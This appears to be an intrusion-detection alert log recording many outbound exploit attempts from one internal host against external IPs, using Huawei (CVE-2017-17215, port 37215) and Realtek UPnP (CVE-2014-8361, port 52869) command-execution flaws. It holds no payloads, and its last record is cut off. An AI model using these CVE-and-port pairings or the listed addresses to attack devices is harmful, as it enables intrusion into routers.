ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.184.106.243

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	44702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.151.202.253

Timestamp:	07/20/24-23:01:06.633248
SID:	2025132
Source Port:	57574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.78.35

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	59014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.109.84

Timestamp:	07/20/24-23:01:25.230742
SID:	2829579
Source Port:	56478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.184.254.182

Timestamp:	07/20/24-23:01:25.007295
SID:	2027339
Source Port:	57888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.136.139.92

Timestamp:	07/20/24-23:01:34.908060
SID:	2027339
Source Port:	57158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 8.188.8.56

Timestamp:	07/20/24-23:01:07.210802
SID:	2025132
Source Port:	36720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 160.191.28.144

Timestamp:	07/20/24-23:01:13.329544
SID:	2831300
Source Port:	44252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 200.134.207.26

Timestamp:	07/20/24-23:01:24.712847
SID:	2025132
Source Port:	53686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 134.20.23.71

Timestamp:	07/20/24-23:01:29.186915
SID:	2027339
Source Port:	49308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.231.171

Timestamp:	07/20/24-23:01:05.911929
SID:	2835222
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.205.226.229

Timestamp:	07/20/24-23:01:22.784106
SID:	2835222
Source Port:	53074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 153.211.168.73

Timestamp:	07/20/24-23:01:34.932468
SID:	2027339
Source Port:	51854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.24.106.58

Timestamp:	07/20/24-23:01:34.931386
SID:	2027339
Source Port:	34520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.83.248.176

Timestamp:	07/20/24-23:01:22.792913
SID:	2835222
Source Port:	42134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.111.185

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	34128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.111.172.13

Timestamp:	07/20/24-23:01:22.790734
SID:	2829579
Source Port:	33412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.163.220.136

Timestamp:	07/20/24-23:01:05.641880
SID:	2027339
Source Port:	55808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.46.157.85

Timestamp:	07/20/24-23:01:33.289515
SID:	2027339
Source Port:	41010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.27.120.50

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	57666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 53.62.238.12

Timestamp:	07/20/24-23:01:33.443703
SID:	2025132
Source Port:	37568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 74.157.77.170

Timestamp:	07/20/24-23:01:34.900554
SID:	2831300
Source Port:	40032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.222.18

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	48412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 126.63.129.65

Timestamp:	07/20/24-23:01:13.333893
SID:	2027339
Source Port:	47904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.46.157.85

Timestamp:	07/20/24-23:01:34.927371
SID:	2027339
Source Port:	42824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.166.67.79

Timestamp:	07/20/24-23:01:05.908608
SID:	2829579
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.209.139.222

Timestamp:	07/20/24-23:01:19.236523
SID:	2835222
Source Port:	45648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 131.159.1.125

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.235.84.11

Timestamp:	07/20/24-23:01:19.334468
SID:	2835222
Source Port:	37504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.154.141

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	33200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.241.201.162

Timestamp:	07/20/24-23:01:34.920163
SID:	2027339
Source Port:	52734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.233.106

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	48144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 171.71.112.103

Timestamp:	07/20/24-23:01:24.093369
SID:	2027339
Source Port:	44556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.24.204.167

Timestamp:	07/20/24-23:01:06.612211
SID:	2027339
Source Port:	38538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.146.181.67

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	59724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.245.236.24

Timestamp:	07/20/24-23:01:28.183799
SID:	2835222
Source Port:	37648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 115.118.201.201

Timestamp:	07/20/24-23:01:13.332408
SID:	2027339
Source Port:	58112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.39.180.182

Timestamp:	07/20/24-23:01:05.597095
SID:	2027339
Source Port:	43066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 134.76.14.241

Timestamp:	07/20/24-23:01:05.619970
SID:	2025132
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.94.248.171

Timestamp:	07/20/24-23:01:28.214699
SID:	2835222
Source Port:	38494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 160.160.84.223

Timestamp:	07/20/24-23:01:34.942495
SID:	2027339
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.227.167

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	59040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.133.33

Timestamp:	07/20/24-23:01:19.334353
SID:	2835222
Source Port:	49900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.21.87

Timestamp:	07/20/24-23:01:05.927305
SID:	2835222
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 150.10.126.44

Timestamp:	07/20/24-23:01:34.131777
SID:	2027339
Source Port:	52424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.125.194.139

Timestamp:	07/20/24-23:01:11.483526
SID:	2835222
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.91.8

Timestamp:	07/20/24-23:01:25.230657
SID:	2835222
Source Port:	59772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.132.91.59

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 123.243.178.81

Timestamp:	07/20/24-23:01:06.146745
SID:	2025132
Source Port:	39728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 105.221.149.154

Timestamp:	07/20/24-23:01:25.278883
SID:	2025132
Source Port:	33186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.131.226.159

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	40506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 153.211.168.73

Timestamp:	07/20/24-23:01:33.728029
SID:	2025132
Source Port:	50006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.172.239

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	37062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 59.201.11.124

Timestamp:	07/20/24-23:01:34.923717
SID:	2831300
Source Port:	60396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.119.228.219

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	55214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.38.210

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	55916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.251.165.245

Timestamp:	07/20/24-23:01:25.295701
SID:	2829579
Source Port:	60962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 59.88.136.75

Timestamp:	07/20/24-23:01:34.964842
SID:	2831300
Source Port:	49074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.144.99.123

Timestamp:	07/20/24-23:01:24.075979
SID:	2027339
Source Port:	49244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.118.39.16

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	52066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.240.21.199

Timestamp:	07/20/24-23:01:05.633189
SID:	2027339
Source Port:	44220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.132.153

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	54356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 171.144.139.139

Timestamp:	07/20/24-23:01:13.334387
SID:	2027339
Source Port:	39470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.227.70

Timestamp:	07/20/24-23:01:19.222596
SID:	2835222
Source Port:	48060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.21.71

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.171.155.202

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	43466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 45.24.39.65

Timestamp:	07/20/24-23:01:29.546185
SID:	2025132
Source Port:	48962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.124.177.160

Timestamp:	07/20/24-23:01:37.227353
SID:	2829579
Source Port:	49488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.215.131.235

Timestamp:	07/20/24-23:01:22.784106
SID:	2829579
Source Port:	48368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.32.178

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.64.90

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	49794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 116.111.12.206

Timestamp:	07/20/24-23:01:13.330618
SID:	2027339
Source Port:	44584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.29.160.70

Timestamp:	07/20/24-23:01:06.262239
SID:	2027339
Source Port:	51512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.193.181.196

Timestamp:	07/20/24-23:01:33.182181
SID:	2027339
Source Port:	49806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.17.82.210

Timestamp:	07/20/24-23:01:34.910408
SID:	2027339
Source Port:	39430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.30.35.11

Timestamp:	07/20/24-23:01:29.170017
SID:	2027339
Source Port:	34626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 70.231.21.112

Timestamp:	07/20/24-23:01:33.640361
SID:	2025132
Source Port:	33978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 62.62.247.176

Timestamp:	07/20/24-23:01:13.332173
SID:	2831300
Source Port:	47232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 125.9.219.100

Timestamp:	07/20/24-23:01:34.899680
SID:	2831300
Source Port:	59892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.63.134

Timestamp:	07/20/24-23:01:02.411165
SID:	2835222
Source Port:	34462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.83.254

Timestamp:	07/20/24-23:01:05.902118
SID:	2829579
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 117.199.176.147

Timestamp:	07/20/24-23:01:06.336576
SID:	2027339
Source Port:	40486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.133.211.214

Timestamp:	07/20/24-23:01:33.030189
SID:	2829579
Source Port:	46408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.56.29.180

Timestamp:	07/20/24-23:01:28.143529
SID:	2835222
Source Port:	47362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.51.43.95

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	55196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.61.230.77

Timestamp:	07/20/24-23:01:11.448569
SID:	2835222
Source Port:	57992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 65.29.160.70

Timestamp:	07/20/24-23:01:13.332449
SID:	2831300
Source Port:	52752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.193.143

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	59972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.254.134

Timestamp:	07/20/24-23:01:02.441031
SID:	2835222
Source Port:	41490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.164.163.60

Timestamp:	07/20/24-23:01:19.233961
SID:	2835222
Source Port:	49154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 70.48.172.224

Timestamp:	07/20/24-23:01:30.731210
SID:	2025132
Source Port:	45820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.231.147

Timestamp:	07/20/24-23:01:25.230393
SID:	2829579
Source Port:	49454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 123.243.178.81

Timestamp:	07/20/24-23:01:13.332051
SID:	2027339
Source Port:	40934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 82.116.127.119

Timestamp:	07/20/24-23:01:06.841661
SID:	2025132
Source Port:	55720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.63.192.72

Timestamp:	07/20/24-23:01:28.214699
SID:	2829579
Source Port:	50600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.65.248.102

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	45276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.78.218.96

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	32932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 58.133.29.249

Timestamp:	07/20/24-23:01:29.528550
SID:	2025132
Source Port:	60468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.184.17

Timestamp:	07/20/24-23:01:11.461509
SID:	2835222
Source Port:	45696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.234.89.166

Timestamp:	07/20/24-23:01:07.668267
SID:	2835222
Source Port:	49322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 154.234.222.130

